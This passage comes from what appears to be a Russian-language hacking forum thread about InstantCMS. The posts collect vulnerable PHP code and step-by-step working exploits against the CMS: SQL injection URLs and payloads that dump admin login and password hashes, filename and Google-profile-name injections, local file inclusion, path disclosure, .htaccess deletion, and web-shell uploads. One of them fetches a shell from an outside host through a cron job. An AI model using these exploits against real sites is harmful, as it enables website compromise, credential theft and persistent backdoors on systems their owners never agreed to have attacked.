        } else {
            return 
$default;
        }
    } 
PHP код:
public function strClear($string$strip_tags=true){
        
$string trim($string);
        
//Если magic_quotes_gpc = On, сначала убираем экранирование
        
$string = (@get_magic_quotes_gpc()) ? stripslashes($string) : $string;        
        
$string rtrim($string' \\');
        if (
$strip_tags) {
            
$string strip_tags($string);
            
$string mysql_real_escape_string($string);
        }
        return 
$string;
    } 
/components/catalog/prss.php
PHP код:
        if ($item_id){
            
$cat dbGetFields('cms_uc_cats''id='.$item_id'id, title, description, NSLeft, NSRight'); 
PHP код:
function dbGetFields($table$where$fields$order='id ASC'){
    
$inDB cmsDatabase::getInstance();
    return 
$inDB->get_fields($table$where$fields$order);

PHP код:
public function get_fields($table$where$fields$order='id ASC'){

    
$sql    "SELECT $fields FROM $table WHERE $where ORDER BY $order LIMIT 1";
    
$result $this->query($sql);

    if (
$this->num_rows($result)){
        
$data $this->fetch_assoc($result);
        return 
$data;
    } else {
        return 
false;
    }

$item_id обработан real'ом, но в запросе не обрамлен кавычками, поэтому мы можем:
Код:
http://localhost/rss/catalog/1+and+1=2+union+select+1,concat(login,0x3a,password),3,4,5+from+cms_users+--+/feed.rss
#2 SQL-INJ без зависимостей (UPDATE)
frontend.php
PHP код:
if ($do == 'savecart'){
        
$itemcounts =  $inCore->request('kolvo''array');
        if (
is_array($itemcounts)){
            
shopUpdateCart($itemcounts);
        }
        
header('location:'.$_SERVER['HTTP_REFERER']);
    } 
shopcore.php
PHP код:
function shopUpdateCart($itemcounts){
    
$inCore cmsCore::getInstance();
    
$inDB cmsDatabase::getInstance();
    foreach(
$itemcounts as $id => $count){
        
$sql "UPDATE cms_uc_cart SET itemscount = $count WHERE id = $id";
        
$inDB->query($sql) ;
    }
    return 
true;

Легче всего это можно использовать следующим образом: Идем в каталог
http://localhost/catalog/viewcart.html
вписываем в поле кол-во:
Код:
(select(substring(version(),1,1)))
Забыл сказать. Столбик itemscount имеет тайп:int(11)
то есть задача слегка, усложняется. Единственный выход который я вижу-это выводить результат запроса через substring в ascii.

Последний раз редактировалось The matrix; 26.02.2011 в 14:27.. Причина: Язык длиннее мысли =(
The matrix вне форума   Ответить с цитированием
Старый 20.05.2011, 20:21   #4
Dr.Z3r0
 
Аватар для Dr.Z3r0
 
Регистрация: 05.07.2010
Сообщений: 101
Репутация: 156
По умолчанию

Заливка шела в админке
Тестилось на версии 1.7.

Шаг 1
Идем в админку → Компоненты → Баннеры. При добавлении нового банера, заливаем файл .htaccess с таким содержанием:
PHP код:
php_flag engine 1
AddHandler application
/x-httpd-php .blabla 
Шаг 2
Cнова добавляем новый банер и при этом заливаем файл с шеллом с расширением .blabla. Шелл зальется в папку images/banners/

Собственно ничего сложного. Отписываю чтобы в следующий раз никто не мучался
__________________
На просьбы о помощи в sql-injection в ПМ не отвечаю. Для этих вопросов есть специальные темы.
Dr.Z3r0 вне форума   Ответить с цитированием
Старый 07.06.2011, 01:10   #5
The matrix
 
Аватар для The matrix
 
Регистрация: 05.07.2010
Сообщений: 39
Репутация: 46
По умолчанию InstantCMS <=1.8 sql inj[insert] +bonus

InstantCMS <=1.8 sql inj[INSERT] +bonus
Всем доброго дня, The matrix снова в эфире.
Удивительно, популярность движка возрасла в несколько раз по сравнению с моими замерами пол года назад.
Need: Включеный форум(по умолчанию включен)
Вкллючено добавление аттачей (по умолчанию включено)
MQ=пох
опасный кодес в файле /components/forum/frontend.php
PHP код:
$tmp_name $_FILES["fa"]["tmp_name"][$key];
                    
$file $_FILES["fa"]["name"][$key];
                    
$filesize $_FILES["fa"]["size"][$key];
                    
$path_parts pathinfo($file);
                    
$ext $path_parts['extension'];
                    
//check file extension is allowed
                    
if (strstr($cfg['fa_ext'], $ext)){
                        
$name basename($file'.' $path_parts['extension']);
                        
$name str_replace(' ''_'$name);
                        
$file $name '_' substr(session_id(), 05) . '.' $ext;
                        
$destination $_SERVER['DOCUMENT_ROOT']."/upload/forum/post".$post_id."/".$file;
                        
move_uploaded_file($tmp_name$destination);
                        
$sql "INSERT INTO cms_forum_files (post_id, filename, filesize, hits, pubdate)
                                VALUES ('
$post_id', '$file', '$filesize', 0, NOW())";
                        @
chmod($destination0777);
                        
$inDB->query($sql) ; 
После аплоада данные файла заносятся в бд. Мы внедриться можем в $file.
1) вконце имени файла будет приписана какая-то шняга, это не помеха
2) реплейсится пробел тоже не проблема.
3) эксплуатация немного неудобная, так как вывести данные мы можем только в столбик с типом int, так что юзаем ascii.
4) в конце имени файла должно быть разрешенное расширение.
Юзать так: шуруем на форум->создаем тему/отвечаем в теме->прилепляем файл->Хватаем запрос локальным прокси->переименовываем файл в
Код:
123',3,(select+substring(version(),1,1)),1)#.txt
-> отправляем.
В итоге получаем вывод возле надписи "скачали"

Bonus:Заливка шелла
вариант достаточно садистский по отношению к cms. Поэтому целесообразнее использовать вариант, который предложил Dr.Z3r0 сообщением выше.
с версии 1.7 в папку images добавлен .htaccess, который припятствует выполнению пхп.
Наша задача его убить... На время.
Код:
http://localhost/admin/index.php?view=components&do=config&link=banners
тут создаем баннер, и заливаем любой файл. Как создали, наводим курсором на название баннера, и запоминаем его item_id.
После создания и успешной заливки данные баннера занесутся в таблицу.
PHP код:
if (@move_uploaded_file($_FILES['picture']['tmp_name'], $uploadfile)) {            
                    
$sql "INSERT INTO cms_banners (position, typeimg, fileurl, hits, clicks, maxhits, maxuser, user_id, pubdate, title, link, published)
                            VALUES ('
$position', '$typeimg', '$filename', 0, 0, '$maxhits', $maxuser, 1, NOW(), '$title', '$link', $published)"
Зачем это нужно? Дело в том что мы можем удалить произвольный файл.
в файле /admin/components/banners/backend.php
PHP код:
    if($opt == 'delete'){
        if(isset(
$_REQUEST['item_id'])) { 
            
$id $_REQUEST['item_id'];        
            
$sql "SELECT * FROM cms_banners WHERE id = $id LIMIT 1";
            
$result dbQuery($sql) ;            
            if (
mysql_num_rows($result)){            
                
$f mysql_fetch_assoc($result);
                
unlink($_SERVER['DOCUMENT_ROOT'].'/images/banners/'.$f['fileurl']);    
                
$sql "DELETE FROM cms_banners WHERE id = $id";
                
dbQuery($sql) ;            
                
header('location:?view=components&do=config&id='.$_REQUEST['id'].'&opt=list');
            }
        }
    } 
теперь наша задача занести в столбец fileurl таблицы banners путь к .htaccess.
Решение найдено во встроенном дампере, который позволяет выполнить нам любой запрос к бд. Он у нас тут.
Код:
http://localhost/admin/index.php?view=backup
создаем файлик с содержимым:
Код:
UPDATE `cms_banners` SET `fileurl` = '../.htaccess' WHERE `id` =[item_id созданного баннера] LIMIT 1 ;
импортируем его в дампер. Этот запрос выполнится.
Далее возвращаемя к баннерам.
Код:
http://localhost/admin/index.php?view=components&do=config&link=banners
и напротив созданного нами баннерами жмем кнопку "удалить".
Все .htaccess исчез. можно теперь залить шелл через баннеры. Ну и конечно же хорошим тоном будет после заливки вернуть .htaccess на место.
Вот и все. (c) The matrix
P.S на данный момент 0day.А поэтому убедительная просьба, не ломайте офф сайт.

Последний раз редактировалось The matrix; 10.06.2011 в 17:18..
The matrix вне форума   Ответить с цитированием
Старый 12.11.2011, 11:22   #6
The matrix
 
Аватар для The matrix
 
Регистрация: 05.07.2010
Сообщений: 39
Репутация: 46
По умолчанию

немного поглумился =)
InstantCMS < 1.8(patched)
LFI
Зависимости: Включенно добавление статей(по умолчанию включено), аккаунт любого пользователя
код
/filters/f_includes/filter.php
PHP код:
    function getLink($file){        
        
trim($file);
        
$filefull $_SERVER['DOCUMENT_ROOT'].'/includes/myphp/'.$file;
        
        if (
file_exists($filefull)){
            
ob_start();
                include 
$filefull;
            
$link ob_get_clean();
        } else {
            
$link 'Файл "/includes/myphp/'.$file.'" не найден!';
        }    
        return 
$link;
    }

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
    
function f_includes(&$text){

        
//REPLACE FILE INCLUDES LINKS
         
$regex '/{(ФАЙЛ=)\s*(.*?)}/i';
        
$matches = array();
        
preg_match_all$regex$text$matchesPREG_SET_ORDER );        
        foreach (
$matches as $elm) {    
            
$elm[0] = str_replace('{'''$elm[0]);
            
$elm[0] = str_replace('}'''$elm[0]);            
            
parse_str$elm[0], $args );
            
$file=@$args['ФАЙЛ'];    
            if (
$file){        
                
$output getLink($file);            
            } else { 
$output ''; }
            
$text str_replace('{ФАЙЛ='.$file.'}'$output$text );    
        }

        return 
true;
    } 
Эксплойт:
1) Регаемся
2) Добавляем статью (тут http://localhost/add.html)
3) В тело статьи пишем:
Код:
{ФАЙЛ=../../../../localfile}
4) Добавляем статью. И открываем ее.
5)...
6) PROFIT.

Последний раз редактировалось The matrix; 12.11.2011 в 11:26..
The matrix вне форума   Ответить с цитированием
Старый 26.11.2011, 15:47   #7
a10nE
 
Регистрация: 31.10.2011
Сообщений: 10
Репутация: 0
По умолчанию

Хотя и маленькая, но все же. Раскрытие путей.
Версия: тестировалось на v1.8
Зависимости: нет

Раскрытие путей через посылку неправильного хедера в файле host\modules\mod_template\set.php.
PHP код:
session_start();
    
    if(isset(
$_POST['back']))
    {
        
$back $_POST['back'];
    } 
...
header('location:'.$back); 
Через POST шлем такие данные:
Код HTML:
'back=a
b';
Смысл в том что в хедере данные посылаются с новой строки, получаем ошибку:

Warning: Header may not contain more than a single header, new line detected. in /путь/наш_сайт/modules/mod_template/set.php on line 32
__________________
http://pix.am/G0fb.png
a10nE вне форума   Ответить с цитированием
Старый 08.12.2011, 18:01   #8
The matrix
 
Аватар для The matrix
 
Регистрация: 05.07.2010
Сообщений: 39
Репутация: 46
По умолчанию InstantCMS v1.9 RC2

v1.9 RC2 <== InstantCMS

Тип: Sql injection [INSERT]
Зависимости: Включен плагин логинза
В чем суть?
Код:
Loginza - это интерактивный JavaScript виджет, предоставляющий посетителям Ваших сайтов широкий список вариантов аутентификации через учетные записи распространенных WEB-порталов и сервисов (Яндекс, Google и тп., см. полный список).
Иначе говоря: Логинза тянет данные с популярных сервисов и соц.сетей, которые потом использует для регистрации в CMS. И фишка в том, что логинза отдает данные с сервисов такими какие они есть (без слеширования/любых других модификаций препятствующих sql inj). И если разработчик доверит данным принятым от логинзы какими они есть, то это приведет к sql inj.
Замечание: От этой болезни пострадала не только InstantCMS
/plugins/p_loginza/plugin.php
PHP код:
$nickname   $profile->name->first_name;
            if (
$profile->name->last_name){ $nickname .= ' '$profile->name->last_name; }
//если указаны имя и фамилия то переменная $nickname соединит их через пробел.
.........................................
        
$sql "INSERT INTO cms_users (login, nickname, password, email, regdate, birthdate, openid)
                VALUES ('
$login', '$nickname', '$pass', '$email', NOW(), '$birthdate', '{$profile->identity}')";
$inDB->query($sql) ;
// запрос 
Если в профиле аккаунта указана фамилия, переменная $nickname соединяет через пробел имя и фамилию. Это нам поможет при составлении запроса(увеличить его допустимую длинну).
Значит как использовать. Я нашел такой метод:
Заводим себе аккаунт в гугл. (Именно в гугл, так как он единственный из всех сервисов, поддерживаемый логинзой, который позволяет использовать необходимое нам количество символов в имени и фамилии).
Значит так:
1.1) регим аккаунт в гугл.
1.2) редактируем аккаунт гугл изменяем имя(first name) на:
Код:
met','21232f297a57a5a743894a0e4a801fc3',(select
Фамилию(last name):
Код:
password from (select password from cms_users where id=1 LIMIT 1) as tmp),0,0,0)#
2) логинимся
Код:
http://lambot/login
заходим через логинзу и выбираем логин через гугл.
3) после чего мы оказываемся авторизованными(если нет, то аккаунт создастся такой:
логин: met21232f297a57a5a743894a0e4a801fc3selectpasswordf romselectpasswordfromcmsuserswhereid1limit1astmp00
пароль:admin.
4) Идем в профиль->настройки->Контакты. И в поле e-mail наблюдаем хеш пароля админа.

Последний раз редактировалось The matrix; 08.12.2011 в 18:07..
The matrix вне форума   Ответить с цитированием
Старый 03.08.2014, 18:56   #9
Ravenous
 
Аватар для Ravenous
 
Регистрация: 14.07.2012
Сообщений: 64
Репутация: 1
По умолчанию

Начиная с 1.9 шелл не льется?
Ravenous вне форума   Ответить с цитированием
Старый 13.07.2015, 21:08   #10
nomad
 
Аватар для nomad
 
Регистрация: 23.07.2010
Сообщений: 179
Репутация: 7
По умолчанию

Цитата:
Сообщение от Ravenous Посмотреть сообщение
Начиная с 1.9 шелл не льется?
Залил так: через FCKEditor заливаю файл с произвольным расширением (напр, 1.sss), в файле написал copy('http://mysite.com/shell.txt','/var/www/site/upload/shell.php');

В кроне создаю новую задачу, указываю путь к залитому файлу /userfiles/1.sss, запускаю задачу. Шелл в директории hackedsite.com/upload/shell.php

Узкое место здесь - наличие плагина FCKEditor, но можно через любые стандартные заливалки в админке залить файл хоть с расширением txt, код должен выполнится.

ЗЫ Абсолютный путь на сервере смотреть через phpinfo в той же админке.
__________________
Roamer, wanderer
Nomad, vagabond
Call me what you will

(c) Metallica
nomad вне форума   Ответить с цитированием
Ответ

Метки
instantcms

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра
Комбинированный вид Комбинированный вид

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot